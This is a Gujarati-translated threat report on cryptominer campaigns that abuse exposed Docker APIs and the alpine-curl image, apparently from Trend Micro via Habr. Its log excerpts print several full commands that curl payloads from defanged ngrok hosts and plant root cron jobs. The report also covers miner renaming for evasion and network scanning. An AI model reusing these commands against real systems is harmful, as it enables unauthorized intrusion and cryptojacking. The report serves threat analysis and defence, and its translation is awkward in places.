ક્રિપ્ટોકરન્સી માઇનર્સને વિતરિત કરવા માટે બિન-માલિકીના ડોકર API અને સમુદાયમાંથી જાહેર છબીઓનો ઉપયોગ કેવી રીતે કરવામાં આવે છે

અમે હનીપોટ કન્ટેનરનો ઉપયોગ કરીને એકત્રિત કરેલા ડેટાનું વિશ્લેષણ કર્યું, જે અમે ધમકીઓને ટ્રૅક કરવા માટે બનાવ્યું છે. અને અમે ડોકર હબ પર સમુદાય-પ્રકાશિત છબીનો ઉપયોગ કરીને બદમાશ કન્ટેનર તરીકે તૈનાત કરાયેલા અનિચ્છનીય અથવા અનધિકૃત ક્રિપ્ટોકરન્સી માઇનર્સ તરફથી નોંધપાત્ર પ્રવૃત્તિ શોધી કાઢી. છબીનો ઉપયોગ સેવાના ભાગ રૂપે થાય છે જે દૂષિત ક્રિપ્ટોકરન્સી માઇનર્સને પહોંચાડે છે.

વધુમાં, ખુલ્લા પડોશી કન્ટેનર અને એપ્લિકેશનને ભેદવા માટે નેટવર્ક્સ સાથે કામ કરવા માટેના પ્રોગ્રામ્સ ઇન્સ્ટોલ કરેલા છે.

અમે અમારા હનીપોટ્સને જેમ છે તેમ છોડીએ છીએ, એટલે કે, ડિફોલ્ટ સેટિંગ્સ સાથે, કોઈપણ સુરક્ષા પગલાં અથવા વધારાના સૉફ્ટવેરના અનુગામી ઇન્સ્ટોલેશન વિના. કૃપા કરીને નોંધો કે ડોકર પાસે ભૂલો અને સરળ નબળાઈઓને ટાળવા માટે પ્રારંભિક સેટઅપ માટે ભલામણો છે. પરંતુ ઉપયોગમાં લેવાતા હનીપોટ્સ કન્ટેનર છે, જે કન્ટેનરાઇઝેશન પ્લેટફોર્મને ધ્યાનમાં રાખીને હુમલાઓ શોધવા માટે રચાયેલ છે, કન્ટેનરની અંદરની એપ્લિકેશનો નહીં.

શોધાયેલ દૂષિત પ્રવૃત્તિ પણ નોંધપાત્ર છે કારણ કે તેને નબળાઈઓની જરૂર નથી અને તે ડોકર સંસ્કરણથી પણ સ્વતંત્ર છે. ખોટી રીતે રૂપરેખાંકિત અને તેથી ખુલ્લી, કન્ટેનર ઇમેજ શોધવી એ એટલું જ છે કે હુમલાખોરોને ઘણા ખુલ્લા સર્વરને સંક્રમિત કરવાની જરૂર છે.

અનક્લોઝ્ડ ડોકર API વપરાશકર્તાને વિશાળ શ્રેણી કરવા માટે પરવાનગી આપે છે ટીમો, ચાલતા કન્ટેનરની સૂચિ મેળવવી, ચોક્કસ કન્ટેનરમાંથી લોગ મેળવવી, શરૂ કરવું, બંધ કરવું (બળજબરી સહિત) અને ચોક્કસ સેટિંગ્સ સાથે ચોક્કસ છબીમાંથી નવું કન્ટેનર બનાવવા સહિત.

ડાબી બાજુએ માલવેર વિતરણ પદ્ધતિ છે. જમણી બાજુએ હુમલાખોરનું વાતાવરણ છે, જે છબીઓમાંથી દૂરસ્થ રોલિંગ માટે પરવાનગી આપે છે.

3762 ઓપન ડોકર API ના દેશ દ્વારા વિતરણ. તારીખ 12.02.2019/XNUMX/XNUMX ના શોદાન શોધ પર આધારિત

હુમલો સાંકળ અને પેલોડ વિકલ્પો

દૂષિત પ્રવૃત્તિ માત્ર હનીપોટ્સની મદદથી જ શોધી શકાતી નથી. Shodan ના ડેટા દર્શાવે છે કે અમે મોનેરો ક્રિપ્ટોકરન્સી માઇનિંગ સોફ્ટવેરને જમાવવા માટે પુલ તરીકે ઉપયોગમાં લેવાતા ખોટી રીતે ગોઠવેલા કન્ટેનરની તપાસ કરી ત્યારથી ખુલ્લી ડોકર API (બીજો ગ્રાફ જુઓ) ની સંખ્યામાં વધારો થયો છે. ગયા વર્ષે ઓક્ટોબરમાં (2018, વર્તમાન ડેટા તમે આના જેવા જોઈ શકો છો આશરે અનુવાદક) માત્ર 856 ઓપન API હતા.

હનીપોટ લોગની તપાસ દર્શાવે છે કે કન્ટેનર ઇમેજનો ઉપયોગ પણ ઉપયોગ સાથે સંકળાયેલ હતો ngrok, સુરક્ષિત કનેક્શન સ્થાપિત કરવા અથવા સાર્વજનિક રીતે સુલભ બિંદુઓથી ઉલ્લેખિત સરનામાંઓ અથવા સંસાધનો પર ટ્રાફિક ફોરવર્ડ કરવા માટેનું એક સાધન (ઉદાહરણ તરીકે લોકલહોસ્ટ). આ હુમલાખોરોને ઓપન સર્વર પર પેલોડ વિતરિત કરતી વખતે ગતિશીલ રીતે URL બનાવવાની મંજૂરી આપે છે. નીચે ngrok સેવાનો દુરુપયોગ દર્શાવતા લોગમાંથી કોડ ઉદાહરણો છે:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

જેમ તમે જોઈ શકો છો, અપલોડ કરેલી ફાઇલો સતત બદલાતા URL થી ડાઉનલોડ થાય છે. આ URL ની સમાપ્તિ તારીખ ટૂંકી છે, તેથી પેલોડ્સ સમાપ્તિ તારીખ પછી ડાઉનલોડ કરી શકાતા નથી.

બે પેલોડ વિકલ્પો છે. પહેલો ELF ફોર્મેટમાં કમ્પાઇલ કરેલ ખાણિયો છે Linux (Coinminer.SH.MALXMR.ATNO તરીકે ઓળખાય છે), જે માઇનિંગ પૂલ સાથે જોડાય છે. બીજી સ્ક્રિપ્ટ (TrojanSpy.SH.ZNETMAP.A) છે, જે નેટવર્ક રેન્જને સ્કેન કરવા અને પછી નવા લક્ષ્યો શોધવા માટે ઉપયોગમાં લેવાતા ચોક્કસ નેટવર્ક ટૂલ્સ મેળવવા માટે રચાયેલ છે.

ડ્રોપર સ્ક્રિપ્ટ બે ચલો સેટ કરે છે, જેનો ઉપયોગ પછી ક્રિપ્ટોકરન્સી ખાણિયોને જમાવવા માટે થાય છે. HOST ચલ URL સમાવે છે જ્યાં દૂષિત ફાઇલો સ્થિત છે, અને RIP ચલ એ જમાવવામાં આવનાર ખાણિયોનું ફાઇલ નામ (હકીકતમાં, હેશ) છે. જ્યારે પણ હેશ ચલ બદલાય છે ત્યારે HOST ચલ બદલાય છે. સ્ક્રિપ્ટ એ પણ તપાસવાનો પ્રયાસ કરે છે કે હુમલો કરાયેલ સર્વર પર અન્ય કોઈ ક્રિપ્ટોકરન્સી માઇનર્સ ચાલી રહ્યા નથી.

HOST અને RIP ચલોના ઉદાહરણો, તેમજ કોડ સ્નિપેટનો ઉપયોગ એ તપાસવા માટે થાય છે કે અન્ય કોઈ ખાણિયો ચાલી રહ્યું નથી.

ખાણિયો શરૂ કરતા પહેલા, તેનું નામ બદલીને nginx રાખવામાં આવે છે. આ સ્ક્રિપ્ટના અન્ય સંસ્કરણો ખાણિયોનું નામ બદલીને અન્ય કાયદેસર સેવાઓ રાખે છે જે પર્યાવરણમાં હાજર હોઈ શકે છે. Linuxઆ સામાન્ય રીતે ચાલી રહેલી પ્રક્રિયાઓની યાદી પરની તપાસને બાયપાસ કરવા માટે પૂરતું છે.

શોધ સ્ક્રિપ્ટમાં પણ સુવિધાઓ છે. તે જરૂરી સાધનો જમાવવા માટે સમાન URL સેવા સાથે કામ કરે છે. તેમાંથી zmap દ્વિસંગી છે, જેનો ઉપયોગ નેટવર્ક સ્કેન કરવા અને ખુલ્લા બંદરોની સૂચિ મેળવવા માટે થાય છે. સ્ક્રિપ્ટ અન્ય દ્વિસંગી પણ લોડ કરે છે જેનો ઉપયોગ મળેલ સેવાઓ સાથે ક્રિયાપ્રતિક્રિયા કરવા માટે થાય છે અને મળેલ સેવા વિશે વધારાની માહિતી (ઉદાહરણ તરીકે, તેનું સંસ્કરણ) નક્કી કરવા માટે તેમની પાસેથી બેનરો પ્રાપ્ત થાય છે.

સ્ક્રિપ્ટ સ્કેન કરવા માટે કેટલીક નેટવર્ક રેન્જ પણ પૂર્વ-નિર્ધારિત કરે છે, પરંતુ આ સ્ક્રિપ્ટના સંસ્કરણ પર આધારિત છે. તે સ્કેન ચલાવતા પહેલા - આ કિસ્સામાં, ડોકર - સેવાઓમાંથી લક્ષ્ય પોર્ટ પણ સેટ કરે છે.

એકવાર સંભવિત લક્ષ્યો મળી જાય, પછી બેનરો તેમાંથી આપમેળે દૂર થઈ જાય છે. સ્ક્રિપ્ટ તેને રસ ધરાવતી સેવાઓ, એપ્લિકેશનો, ઘટકો અથવા પ્લેટફોર્મના આધારે લક્ષ્યોને પણ ફિલ્ટર કરે છે: રેડિસ, જેનકિન્સ, Drupal, મોડએક્સ, કુબરનેટ્સ માસ્ટર, Docker 1.16 ક્લાયન્ટ અને Apache CouchDB. જો સ્કેન કરેલ સર્વર તેમાંના કોઈપણ સાથે મેળ ખાય છે, તો તે ટેક્સ્ટ ફાઇલમાં સાચવવામાં આવે છે, જેનો હુમલાખોરો પછીથી વિશ્લેષણ અને હેકિંગ માટે ઉપયોગ કરી શકે છે. આ ટેક્સ્ટ ફાઇલો ગતિશીલ લિંક્સ દ્વારા હુમલાખોરોના સર્વર પર અપલોડ કરવામાં આવે છે. એટલે કે, દરેક ફાઇલ માટે એક અલગ URL નો ઉપયોગ કરવામાં આવે છે, જેનો અર્થ છે કે અનુગામી ઍક્સેસ મુશ્કેલ છે.

એટેક વેક્ટર એ ડોકર ઈમેજ છે, જે કોડના આગામી બે ટુકડાઓમાં જોઈ શકાય છે.

ટોચ પર કાયદેસર સેવામાં નામ બદલાઈ રહ્યું છે, અને તળિયે નેટવર્ક્સને સ્કેન કરવા માટે zmap નો ઉપયોગ કેવી રીતે થાય છે તે છે

ટોચ પર પૂર્વવ્યાખ્યાયિત નેટવર્ક રેન્જ છે, તળિયે ડોકર સહિત સેવાઓ શોધવા માટે ચોક્કસ પોર્ટ છે

સ્ક્રીનશોટ બતાવે છે કે આલ્પાઇન-કર્લ ઇમેજ 10 મિલિયનથી વધુ વખત ડાઉનલોડ કરવામાં આવી છે

આલ્પાઇન પર આધારિત Linux અને curl, વિવિધ પ્રોટોકોલ પર ફાઇલો ટ્રાન્સફર કરવા માટે એક સંસાધન-કાર્યક્ષમ CLI સાધન, કમ્પાઇલ કરી શકાય છે ડોકર છબી. તમે અગાઉની તસવીરમાં જોઈ શકો છો, આ ઈમેજ 10 મિલિયનથી વધુ વખત ડાઉનલોડ થઈ ચૂકી છે. મોટી સંખ્યામાં ડાઉનલોડ્સનો અર્થ એ હોઈ શકે છે કે આ ઈમેજને એન્ટ્રી પોઈન્ટ તરીકે વાપરવી; આ ઈમેજ છ મહિના કરતા પણ વધુ સમય પહેલા અપડેટ કરવામાં આવી હતી; યુઝર્સે આ રીપોઝીટરીમાંથી અન્ય ઈમેજો જેટલી વાર ડાઉનલોડ કરી નથી. ડોકરમાં પ્રવેશ બિંદુ - તેને ચલાવવા માટે કન્ટેનરને ગોઠવવા માટે વપરાતી સૂચનાઓનો સમૂહ. જો એન્ટ્રી પોઈન્ટ સેટિંગ્સ ખોટી હોય (ઉદાહરણ તરીકે, કન્ટેનર ઈન્ટરનેટથી ખુલ્લું રાખવામાં આવે છે), તો ઈમેજનો ઉપયોગ એટેક વેક્ટર તરીકે થઈ શકે છે. હુમલાખોરો તેનો ઉપયોગ પેલોડ વિતરિત કરવા માટે કરી શકે છે જો તેઓને ખોટી ગોઠવણી કરેલ અથવા ખુલ્લું કન્ટેનર અસમર્થિત છોડેલું જણાય.

એ નોંધવું અગત્યનું છે કે આ છબી (આલ્પાઇન-કર્લ) પોતે દૂષિત નથી, પરંતુ જેમ તમે ઉપર જોઈ શકો છો, તેનો ઉપયોગ દૂષિત કાર્યો કરવા માટે થઈ શકે છે. સમાન ડોકર છબીઓનો ઉપયોગ દૂષિત પ્રવૃત્તિઓ કરવા માટે પણ થઈ શકે છે. અમે ડોકરનો સંપર્ક કર્યો અને આ મુદ્દે તેમની સાથે કામ કર્યું.

ભલામણો

અયોગ્ય સેટિંગ અવશેષો સતત સમસ્યા ઘણી કંપનીઓ માટે, ખાસ કરીને જે અમલીકરણ કરે છે DevOps, ઝડપી વિકાસ અને ડિલિવરી પર ધ્યાન કેન્દ્રિત કર્યું. ઑડિટીંગ અને મોનિટરિંગ નિયમોનું પાલન કરવાની જરૂરિયાત, ડેટાની ગુપ્તતા પર દેખરેખ રાખવાની જરૂરિયાત તેમજ તેમના બિન-પાલનથી થતા પ્રચંડ નુકસાનને કારણે બધું જ વધારે છે. વિકાસ જીવનચક્રમાં સુરક્ષા ઓટોમેશનનો સમાવેશ તમને સુરક્ષા છિદ્રો શોધવામાં મદદ કરે છે જે અન્યથા શોધી શકાશે નહીં, પરંતુ તે તમને બિનજરૂરી વર્કલોડ ઘટાડવામાં પણ મદદ કરે છે, જેમ કે એપ્લિકેશન તૈનાત થયા પછી દરેક શોધાયેલ નબળાઈ અથવા ખોટી ગોઠવણી માટે વધારાના સોફ્ટવેર બિલ્ડ્સ ચલાવવામાં.

આ લેખમાં ચર્ચા કરાયેલી ઘટના નીચેની ભલામણો સહિત, શરૂઆતથી જ સલામતીને ધ્યાનમાં લેવાની જરૂરિયાતને પ્રકાશિત કરે છે:

• સિસ્ટમ એડમિનિસ્ટ્રેટર્સ અને ડેવલપર્સ માટે: દરેક વસ્તુ ફક્ત ચોક્કસ સર્વર અથવા આંતરિક નેટવર્કની વિનંતીઓ સ્વીકારવા માટે ગોઠવેલ છે તેની ખાતરી કરવા માટે હંમેશા તમારી API સેટિંગ્સ તપાસો.
• ઓછામાં ઓછા અધિકારોના સિદ્ધાંતને અનુસરો: ખાતરી કરો કે કન્ટેનરની છબીઓ સહી થયેલ છે અને ચકાસાયેલ છે, નિર્ણાયક ઘટકો (કન્ટેનર લૉન્ચ સેવા) ની ઍક્સેસ મર્યાદિત કરો અને નેટવર્ક કનેક્શન્સમાં એન્ક્રિપ્શન ઉમેરો.
• અનુસરો ભલામણો અને સુરક્ષા મિકેનિઝમ્સ સક્ષમ કરો, દા.ત. ડોકર તરફથી અને બિલ્ટ-ઇન સુરક્ષા સુવિધાઓ.
• કન્ટેનરમાં ચાલતી પ્રક્રિયાઓ વિશે વધારાની માહિતી મેળવવા માટે રનટાઇમ્સ અને છબીઓના સ્વચાલિત સ્કેનિંગનો ઉપયોગ કરો (ઉદાહરણ તરીકે, સ્પૂફિંગ શોધવા અથવા નબળાઈઓ શોધવા માટે). એપ્લિકેશન નિયંત્રણ અને અખંડિતતા મોનિટરિંગ સર્વર્સ, ફાઇલો અને સિસ્ટમ વિસ્તારોમાં અસામાન્ય ફેરફારોને ટ્રૅક કરવામાં મદદ કરે છે.

Trendmicro DevOps ટીમોને સુરક્ષિત રીતે બનાવવામાં, ઝડપથી બહાર આવવા અને ગમે ત્યાં લોન્ચ કરવામાં મદદ કરે છે. ટ્રેન્ડ માઇક્રો હાઇબ્રિડ મેઘ સુરક્ષા સંસ્થાની DevOps પાઇપલાઇનમાં શક્તિશાળી, સુવ્યવસ્થિત અને સ્વયંસંચાલિત સુરક્ષા પ્રદાન કરે છે અને બહુવિધ જોખમ સંરક્ષણ પ્રદાન કરે છે એક્સજેન રનટાઇમ પર ભૌતિક, વર્ચ્યુઅલ અને ક્લાઉડ વર્કલોડને સુરક્ષિત કરવા. તે સાથે કન્ટેનર સુરક્ષા પણ ઉમેરે છે ડીપ સુરક્ષા и ડીપ સિક્યુરિટી સ્માર્ટ ચેક, જે ડેવલપમેન્ટ પાઇપલાઇનમાં કોઈપણ સમયે મૉલવેર અને નબળાઈઓ માટે ડોકર કન્ટેનર ઈમેજીસને તૈનાત કરતા પહેલા જોખમોને રોકવા માટે સ્કેન કરે છે.

સમાધાનના સંકેતો

સંબંધિત હેશ:

• 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
• f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

માં ડોકર વિડિઓ કોર્સ પ્રેક્ટિસિંગ સ્પીકર્સ દર્શાવે છે કે ઉપર વર્ણવેલ પરિસ્થિતિની સંભાવનાને ઘટાડવા અથવા સંપૂર્ણપણે ટાળવા માટે પહેલા કઈ સેટિંગ્સ બનાવવાની જરૂર છે. અને 19-21 ઓગસ્ટના રોજ ઓનલાઈન સઘન ખાતે DevOps ટૂલ્સ અને ચીટ્સ તમે રાઉન્ડ ટેબલ પર સાથીદારો અને પ્રેક્ટિસ કરતા શિક્ષકો સાથે આ અને સમાન સુરક્ષા સમસ્યાઓની ચર્ચા કરી શકો છો, જ્યાં દરેક વ્યક્તિ અનુભવી સહકર્મીઓની પીડા અને સફળતાઓ સાંભળી શકે છે.

સોર્સ: www.habr.com